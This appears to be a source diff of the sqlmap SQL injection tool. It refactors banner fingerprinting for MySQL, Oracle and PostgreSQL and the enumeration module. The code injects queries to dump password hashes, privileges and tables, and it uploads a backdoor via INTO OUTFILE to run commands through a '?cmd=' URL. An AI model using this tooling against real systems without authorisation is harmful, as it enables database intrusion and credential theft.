# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
|
||||||
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
||||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||||
@@ -298,6 +315,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
setDbms("MySQL 4")
|
setDbms("MySQL 4")
|
||||||
kb.dbmsVersion = ["< 5.0.0"]
|
kb.dbmsVersion = ["< 5.0.0"]
|
||||||
|
|
||||||
|
self.getPrematureBanner("VERSION()")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -324,9 +343,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 3.22.11"]
|
kb.dbmsVersion = ["< 3.22.11"]
|
||||||
|
|
||||||
if conf.getBanner:
|
|
||||||
self.banner = inject.getValue("VERSION()")
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DMBS is not MySQL"
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
@@ -421,7 +437,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||||
|
|
||||||
query = agent.prefixQuery(query)
|
query = agent.prefixQuery(" %s" % query)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
|
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
@@ -434,7 +450,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||||
page = Request.getPage(url=uploaderUrl, direct=True)
|
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||||
|
|
||||||
if "sqlmap backdoor uploader" not in page:
|
if "sqlmap backdoor uploader" not in page:
|
||||||
warnMsg = "unable to upload the uploader "
|
warnMsg = "unable to upload the uploader "
|
||||||
@@ -506,7 +522,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
break
|
break
|
||||||
|
|
||||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
||||||
page = Request.getPage(url=cmdUrl, direct=True)
|
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -37,7 +38,6 @@ from lib.core.settings import ORACLE_ALIASES
|
|||||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
#from lib.utils.fuzzer import passiveFuzzing
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -116,28 +116,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
if not conf.extensiveFp:
|
value = ""
|
||||||
return "Oracle"
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
actVer = formatFingerprint()
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
blank = " " * 16
|
|
||||||
value = "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if self.banner:
|
if self.banner:
|
||||||
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if banVer:
|
if dbmsOsFp:
|
||||||
banVer = banVer.groups()[0]
|
value += "%s\n" % dbmsOsFp
|
||||||
banVer = formatFingerprint([banVer])
|
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += "Oracle"
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
#passiveFuzzing()
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
htmlParsed = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlParsed:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -146,6 +155,8 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
if conf.dbms in ORACLE_ALIASES:
|
if conf.dbms in ORACLE_ALIASES:
|
||||||
setDbms("Oracle")
|
setDbms("Oracle")
|
||||||
|
|
||||||
|
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -159,7 +170,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logMsg = "confirming Oracle"
|
logMsg = "confirming Oracle"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||||
version = inject.getValue(query)
|
version = inject.getValue(query)
|
||||||
|
|
||||||
if not version:
|
if not version:
|
||||||
@@ -170,21 +181,20 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
setDbms("Oracle")
|
setDbms("Oracle")
|
||||||
|
|
||||||
|
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if re.search("^11\.", version):
|
if re.search("^11", version):
|
||||||
kb.dbmsVersion = ["11i"]
|
kb.dbmsVersion = ["11i"]
|
||||||
elif re.search("^10\.", version):
|
elif re.search("^10", version):
|
||||||
kb.dbmsVersion = ["10g"]
|
kb.dbmsVersion = ["10g"]
|
||||||
elif re.search("^9\.", version):
|
elif re.search("^9", version):
|
||||||
kb.dbmsVersion = ["9i"]
|
kb.dbmsVersion = ["9i"]
|
||||||
elif re.search("^8\.", version):
|
elif re.search("^8", version):
|
||||||
kb.dbmsVersion = ["8i"]
|
kb.dbmsVersion = ["8i"]
|
||||||
|
|
||||||
if conf.getBanner:
|
|
||||||
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DMBS is not Oracle"
|
warnMsg = "the back-end DMBS is not Oracle"
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
@@ -38,7 +39,6 @@ from lib.core.settings import PGSQL_ALIASES
|
|||||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
#from lib.utils.fuzzer import passiveFuzzing
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -116,26 +116,37 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
if not conf.extensiveFp:
|
value = ""
|
||||||
return "PostgreSQL"
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
actVer = formatFingerprint()
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
blank = " " * 16
|
|
||||||
value = "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if self.banner:
|
if self.banner:
|
||||||
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
banVer = banVer.groups()[0]
|
|
||||||
banVer = formatFingerprint([banVer])
|
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += "PostgreSQL"
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
#passiveFuzzing()
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
htmlParsed = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlParsed:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -148,6 +159,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
if conf.dbms in PGSQL_ALIASES:
|
if conf.dbms in PGSQL_ALIASES:
|
||||||
setDbms("PostgreSQL")
|
setDbms("PostgreSQL")
|
||||||
|
|
||||||
|
self.getPrematureBanner("VERSION()")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -171,6 +184,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
setDbms("PostgreSQL")
|
setDbms("PostgreSQL")
|
||||||
|
|
||||||
|
self.getPrematureBanner("VERSION()")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -206,9 +221,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 6.2.0"]
|
kb.dbmsVersion = ["< 6.2.0"]
|
||||||
|
|
||||||
if conf.getBanner:
|
|
||||||
self.banner = inject.getValue("VERSION()")
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
|
|||||||
@@ -41,6 +41,7 @@ from lib.core.exception import sqlmapUndefinedMethod
|
|||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
|
from lib.parse.banner import bannerParser
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
@@ -72,9 +73,16 @@ class Enumeration:
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def getPrematureBanner(self, query):
|
||||||
|
if conf.getBanner:
|
||||||
|
self.banner = inject.getValue(query)
|
||||||
|
|
||||||
|
bannerParser(self.banner)
|
||||||
|
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
logMsg = "fetching banner"
|
infoMsg = "fetching banner"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].banner
|
query = queries[kb.dbms].banner
|
||||||
|
|
||||||
@@ -85,8 +93,8 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def getCurrentUser(self):
|
def getCurrentUser(self):
|
||||||
logMsg = "fetching current user"
|
infoMsg = "fetching current user"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].currentUser
|
query = queries[kb.dbms].currentUser
|
||||||
|
|
||||||
@@ -97,8 +105,8 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def getCurrentDb(self):
|
def getCurrentDb(self):
|
||||||
logMsg = "fetching current database"
|
infoMsg = "fetching current database"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = queries[kb.dbms].currentDb
|
query = queries[kb.dbms].currentDb
|
||||||
|
|
||||||
@@ -108,9 +116,20 @@ class Enumeration:
|
|||||||
return self.currentDb
|
return self.currentDb
|
||||||
|
|
||||||
|
|
||||||
|
def isDba(self):
|
||||||
|
infoMsg = "testing if current user is DBA"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = queries[kb.dbms].isDba
|
||||||
|
|
||||||
|
self.isDba = inject.getValue(query)
|
||||||
|
|
||||||
|
return str(self.isDba == "1")
|
||||||
|
|
||||||
|
|
||||||
def getUsers(self):
|
def getUsers(self):
|
||||||
logMsg = "fetching database users"
|
infoMsg = "fetching database users"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].users
|
rootQuery = queries[kb.dbms].users
|
||||||
|
|
||||||
@@ -128,8 +147,8 @@ class Enumeration:
|
|||||||
self.cachedUsers = value
|
self.cachedUsers = value
|
||||||
|
|
||||||
if not self.cachedUsers:
|
if not self.cachedUsers:
|
||||||
logMsg = "fetching number of database users"
|
infoMsg = "fetching number of database users"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
query = rootQuery["blind"]["count2"]
|
query = rootQuery["blind"]["count2"]
|
||||||
@@ -161,11 +180,16 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
logMsg = "fetching database users password hashes"
|
infoMsg = "fetching database users password hashes"
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].passwords
|
rootQuery = queries[kb.dbms].passwords
|
||||||
|
|
||||||
|
if conf.user == "CU":
|
||||||
|
infoMsg += " for current user"
|
||||||
|
conf.user = self.getCurrentUser()
|
||||||
|
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if conf.unionUse:
|
if conf.unionUse:
|
||||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
query = rootQuery["inband"]["query2"]
|
query = rootQuery["inband"]["query2"]
|
||||||
@@ -220,9 +244,9 @@ class Enumeration:
|
|||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of password hashes "
|
infoMsg = "fetching number of password hashes "
|
||||||
logMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
query = rootQuery["blind"]["count2"] % user
|
query = rootQuery["blind"]["count2"] % user
|
||||||
@@ -236,8 +260,8 @@ class Enumeration:
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching password hashes for user '%s'" % user
|
infoMsg = "fetching password hashes for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
passwords = []
|
passwords = []
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
@@ -292,11 +316,16 @@ class Enumeration:
|
|||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
logMsg = "fetching database users privileges"
|
infoMsg = "fetching database users privileges"
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].privileges
|
rootQuery = queries[kb.dbms].privileges
|
||||||
|
|
||||||
|
if conf.user == "CU":
|
||||||
|
infoMsg += " for current user"
|
||||||
|
conf.user = self.getCurrentUser()
|
||||||
|
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Set containing the list of DBMS administrators
|
# Set containing the list of DBMS administrators
|
||||||
areAdmins = set()
|
areAdmins = set()
|
||||||
|
|
||||||
@@ -443,9 +472,9 @@ class Enumeration:
|
|||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of privileges "
|
infoMsg = "fetching number of privileges "
|
||||||
logMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if unescapedUser:
|
if unescapedUser:
|
||||||
queryUser = unescapedUser
|
queryUser = unescapedUser
|
||||||
@@ -466,8 +495,8 @@ class Enumeration:
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching privileges for user '%s'" % user
|
infoMsg = "fetching privileges for user '%s'" % user
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
privileges = set()
|
privileges = set()
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count)
|
||||||
@@ -549,8 +578,8 @@ class Enumeration:
|
|||||||
warnMsg += "names will be fetched from 'mysql' database"
|
warnMsg += "names will be fetched from 'mysql' database"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
logMsg = "fetching database names"
|
infoMsg = "fetching database names"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].dbs
|
rootQuery = queries[kb.dbms].dbs
|
||||||
|
|
||||||
@@ -565,8 +594,8 @@ class Enumeration:
|
|||||||
self.cachedDbs = value
|
self.cachedDbs = value
|
||||||
|
|
||||||
if not self.cachedDbs:
|
if not self.cachedDbs:
|
||||||
logMsg = "fetching number of databases"
|
infoMsg = "fetching number of databases"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||||
query = rootQuery["blind"]["count2"]
|
query = rootQuery["blind"]["count2"]
|
||||||
@@ -605,10 +634,10 @@ class Enumeration:
|
|||||||
|
|
||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
logMsg = "fetching tables"
|
infoMsg = "fetching tables"
|
||||||
if conf.db:
|
if conf.db:
|
||||||
logMsg += " for database '%s'" % conf.db
|
infoMsg += " for database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].tables
|
rootQuery = queries[kb.dbms].tables
|
||||||
|
|
||||||
@@ -626,8 +655,8 @@ class Enumeration:
|
|||||||
elif conf.excludeSysDbs:
|
elif conf.excludeSysDbs:
|
||||||
query += " WHERE "
|
query += " WHERE "
|
||||||
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
||||||
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
value = inject.getValue(query, blind=False)
|
value = inject.getValue(query, blind=False)
|
||||||
|
|
||||||
@@ -652,14 +681,14 @@ class Enumeration:
|
|||||||
|
|
||||||
for db in dbs:
|
for db in dbs:
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
logMsg = "skipping system database '%s'" % db
|
infoMsg = "skipping system database '%s'" % db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
logMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
logMsg += "database '%s'" % db
|
infoMsg += "database '%s'" % db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = rootQuery["blind"]["count"] % db
|
query = rootQuery["blind"]["count"] % db
|
||||||
count = inject.getValue(query, inband=False, expected="int")
|
count = inject.getValue(query, inband=False, expected="int")
|
||||||
@@ -708,20 +737,20 @@ class Enumeration:
|
|||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if not conf.db:
|
if not conf.db:
|
||||||
errMsg = "missing database parameter"
|
warnMsg = "missing database parameter, sqlmap is going to "
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
warnMsg += "use the current database to enumerate table "
|
||||||
|
warnMsg += "'%s' columns" % conf.tbl
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
logMsg = "fetching columns "
|
conf.db = self.getCurrentDb()
|
||||||
logMsg += "for table '%s' " % conf.tbl
|
|
||||||
logMsg += "on database '%s'" % conf.db
|
infoMsg = "fetching columns "
|
||||||
logger.info(logMsg)
|
infoMsg += "for table '%s' " % conf.tbl
|
||||||
|
infoMsg += "on database '%s'" % conf.db
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].columns
|
rootQuery = queries[kb.dbms].columns
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
|
||||||
conf.db = conf.db.upper()
|
|
||||||
conf.tbl = conf.tbl.upper()
|
|
||||||
|
|
||||||
if conf.unionUse:
|
if conf.unionUse:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||||
@@ -744,10 +773,10 @@ class Enumeration:
|
|||||||
self.cachedColumns[conf.db] = table
|
self.cachedColumns[conf.db] = table
|
||||||
|
|
||||||
if not self.cachedColumns:
|
if not self.cachedColumns:
|
||||||
logMsg = "fetching number of columns "
|
infoMsg = "fetching number of columns "
|
||||||
logMsg += "for table '%s'" % conf.tbl
|
infoMsg += "for table '%s'" % conf.tbl
|
||||||
logMsg += " on database '%s'" % conf.db
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
||||||
@@ -764,9 +793,14 @@ class Enumeration:
|
|||||||
errMsg += "on database '%s'" % conf.db
|
errMsg += "on database '%s'" % conf.db
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
plusOne = True
|
||||||
|
else:
|
||||||
|
plusOne = False
|
||||||
|
|
||||||
table = {}
|
table = {}
|
||||||
columns = {}
|
columns = {}
|
||||||
indexRange = getRange(count)
|
indexRange = getRange(count, plusOne=plusOne)
|
||||||
|
|
||||||
for index in indexRange:
|
for index in indexRange:
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
@@ -818,12 +852,17 @@ class Enumeration:
|
|||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if not conf.db:
|
if not conf.db:
|
||||||
errMsg = "missing database parameter"
|
warnMsg = "missing database parameter, sqlmap is going to "
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
warnMsg += "use the current database to dump table "
|
||||||
|
warnMsg += "'%s' entries" % conf.tbl
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
rootQuery = queries[kb.dbms].dumpTable
|
rootQuery = queries[kb.dbms].dumpTable
|
||||||
|
|
||||||
if conf.col:
|
if conf.col:
|
||||||
|
colList = conf.col.split(",")
|
||||||
self.cachedColumns[conf.db] = {}
|
self.cachedColumns[conf.db] = {}
|
||||||
self.cachedColumns[conf.db][conf.tbl] = {}
|
self.cachedColumns[conf.db][conf.tbl] = {}
|
||||||
for column in colList:
|
for column in colList:
|
||||||
@@ -840,14 +879,12 @@ class Enumeration:
|
|||||||
colList.sort(key=lambda x: x.lower())
|
colList.sort(key=lambda x: x.lower())
|
||||||
colString = ", ".join(column for column in colList)
|
colString = ", ".join(column for column in colList)
|
||||||
|
|
||||||
logMsg = "fetching"
|
infoMsg = "fetching"
|
||||||
if conf.col:
|
if conf.col:
|
||||||
colList = conf.col.split(",")
|
infoMsg += " columns '%s'" % colString
|
||||||
colString = ", ".join(column for column in colList)
|
infoMsg += " entries for table '%s'" % conf.tbl
|
||||||
logMsg += " columns '%s'" % colString
|
infoMsg += " on database '%s'" % conf.db
|
||||||
logMsg += " entries for table '%s'" % conf.tbl
|
logger.info(infoMsg)
|
||||||
logMsg += " on database '%s'" % conf.db
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
if conf.unionUse:
|
if conf.unionUse:
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
@@ -883,23 +920,12 @@ class Enumeration:
|
|||||||
index += 1
|
index += 1
|
||||||
|
|
||||||
if not self.dumpedTable:
|
if not self.dumpedTable:
|
||||||
if conf.unionUse:
|
infoMsg = "fetching number of "
|
||||||
warnMsg = "unable to retrieve the "
|
|
||||||
if conf.col:
|
if conf.col:
|
||||||
warnMsg += "columns '%s' " % colString
|
infoMsg += "columns '%s' " % colString
|
||||||
warnMsg += "entries for table '%s' " % conf.tbl
|
infoMsg += "entries for table '%s' " % conf.tbl
|
||||||
warnMsg += "on database '%s'" % conf.db
|
infoMsg += "on database '%s'" % conf.db
|
||||||
warnMsg += " through UNION query SQL injection, "
|
logger.info(infoMsg)
|
